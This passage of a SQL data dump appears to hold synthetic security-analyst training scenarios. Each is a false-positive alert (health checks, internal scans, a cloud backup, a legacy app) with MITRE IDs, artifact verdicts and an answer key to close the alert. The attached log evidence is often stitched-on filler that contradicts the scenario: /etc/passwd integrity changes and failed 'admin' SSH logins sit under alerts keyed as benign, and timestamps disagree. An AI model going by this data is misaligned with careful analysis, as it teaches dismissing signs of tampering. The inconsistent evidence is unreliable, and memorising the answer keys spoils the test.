1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:20:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.150\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"legacy_app_user\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.308Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:20:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.150\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"legacy_app_user\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.308Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:20:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.150\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"legacy_app_user\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.308Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:20:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.150\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"legacy_app_user\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1796, 'Benign System Health Check Mistaken for Lateral Movement', 'low', 'Azure Sentinel', 'Scheduled system health checks using internal credentials were flagged as potential lateral movement due to unusual account usage patterns.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:55:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.50\",\"dst_ip\":\"10.0.0.60\",\"username\":\"health_check_user\",\"hostname\":\"health-monitor\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for system health monitoring.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"health_check_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"User account designated for system health checks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Routine health checks by designated user account were incorrectly flagged.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.309Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:55:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"health_check_user\\\",\\\"hostname\\\":\\\"health-monitor\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.309Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:55:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"health_check_user\\\",\\\"hostname\\\":\\\"health-monitor\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.309Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:55:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"health_check_user\\\",\\\"hostname\\\":\\\"health-monitor\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.309Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:55:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"health_check_user\\\",\\\"hostname\\\":\\\"health-monitor\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.309Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:55:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"health_check_user\\\",\\\"hostname\\\":\\\"health-monitor\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1797, 'Network Reconnaissance Activity Mistaken for Attack', 'medium', 'Wazuh', 'Internal network reconnaissance scans detected as potential attack activity. The scans are part of regularly scheduled security assessments.', 'Reconnaissance', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.30\",\"dst_ip\":\"10.0.0.40\",\"username\":\"net_recon_user\",\"hostname\":\"network-scanner\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of network scanner used for reconnaissance.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"reconnaissance\",\"analysis_notes\":\"Regularly scheduled network reconnaissance scans were misinterpreted as attack activity.\"}', 'Intermediate', 'SIEM', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.311Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"net_recon_user\\\",\\\"hostname\\\":\\\"network-scanner\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.311Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"net_recon_user\\\",\\\"hostname\\\":\\\"network-scanner\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.311Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"net_recon_user\\\",\\\"hostname\\\":\\\"network-scanner\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.311Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"net_recon_user\\\",\\\"hostname\\\":\\\"network-scanner\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.311Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"net_recon_user\\\",\\\"hostname\\\":\\\"network-scanner\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1798, 'Routine System Health Check Detected as Malware', 'low', 'Splunk', 'A system health check script execution was mistakenly identified as malicious activity. The script ran a series of diagnostic tests on internal systems.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.20\",\"username\":\"it_admin\",\"hostname\":\"healthcheck-server\",\"command_line\":\"python3 /scripts/system_health_check.py\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"python3 /scripts/system_health_check.py\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a legitimate internal diagnostic tool.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in routine operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command line matches known diagnostic scripts used by IT for routine health checks.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.312Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"healthcheck-server\\\",\\\"command_line\\\":\\\"python3 /scripts/system_health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.312Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"healthcheck-server\\\",\\\"command_line\\\":\\\"python3 /scripts/system_health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.312Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"healthcheck-server\\\",\\\"command_line\\\":\\\"python3 /scripts/system_health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.312Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"healthcheck-server\\\",\\\"command_line\\\":\\\"python3 /scripts/system_health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.312Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"healthcheck-server\\\",\\\"command_line\\\":\\\"python3 /scripts/system_health_check.py\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1799, 'Authorized Administrative Backup Misclassified as Data Exfiltration', 'medium', 'Elastic SIEM', 'A scheduled administrative backup to an external cloud storage was flagged as potential data exfiltration.', 'Data Exfil', 'T1020', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"198.51.100.25\",\"username\":\"backup_service\",\"hostname\":\"backup-server\",\"request_body\":\"Scheduled backup operation\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for regular backup operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Known cloud storage provider domain used for authorized backups.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"backup_service\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Standard service account for backup operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The destination IP is a known cloud storage used for legitimate backup processes.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.314Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"backup_service\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"Scheduled backup operation\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.314Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"backup_service\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"Scheduled backup operation\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.314Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"backup_service\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"Scheduled backup operation\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.314Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"backup_service\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"Scheduled backup operation\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.314Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"backup_service\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"Scheduled backup operation\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1800, 'Misconfigured Legacy App Triggering Lateral Movement Alert', 'medium', 'Wazuh', 'A legacy application performing inter-server communication was flagged as lateral movement due to outdated protocols.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.22\",\"dst_ip\":\"10.0.0.23\",\"username\":\"legacy_app\",\"hostname\":\"server-old\",\"command_line\":\"/usr/bin/legacy_tool --connect\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"/usr/bin/legacy_tool --connect\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command associated with known legacy application.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of legacy server.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of server communication target.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The legacy application is known to use outdated protocols which can appear suspicious.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.317Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.22\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"server-old\\\",\\\"command_line\\\":\\\"/usr/bin/legacy_tool --connect\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.317Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.22\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"server-old\\\",\\\"command_line\\\":\\\"/usr/bin/legacy_tool --connect\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.317Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.22\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"server-old\\\",\\\"command_line\\\":\\\"/usr/bin/legacy_tool --connect\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.317Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.22\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"server-old\\\",\\\"command_line\\\":\\\"/usr/bin/legacy_tool --connect\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.317Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.22\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"server-old\\\",\\\"command_line\\\":\\\"/usr/bin/legacy_tool --connect\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1801, 'Routine IT Vulnerability Scan Misinterpreted as Brute Force Attack', 'low', 'Azure Sentinel', 'A scheduled vulnerability scan using internal security tools was incorrectly flagged as a brute force attack due to multiple login attempts.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.30\",\"dst_ip\":\"10.0.0.40\",\"username\":\"scan_user\",\"hostname\":\"vuln-scan-server\",\"request_body\":\"Multiple login attempts detected\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"IP address used by internal vulnerability scanning tool.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Target IP of routine vulnerability scan.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"scan_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Account used for authorized vulnerability scans.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity corresponds with the scheduled vulnerability scans performed by IT.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.319Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"scan_user\\\",\\\"hostname\\\":\\\"vuln-scan-server\\\",\\\"request_body\\\":\\\"Multiple login attempts detected\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.319Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"scan_user\\\",\\\"hostname\\\":\\\"vuln-scan-server\\\",\\\"request_body\\\":\\\"Multiple login attempts detected\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.319Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 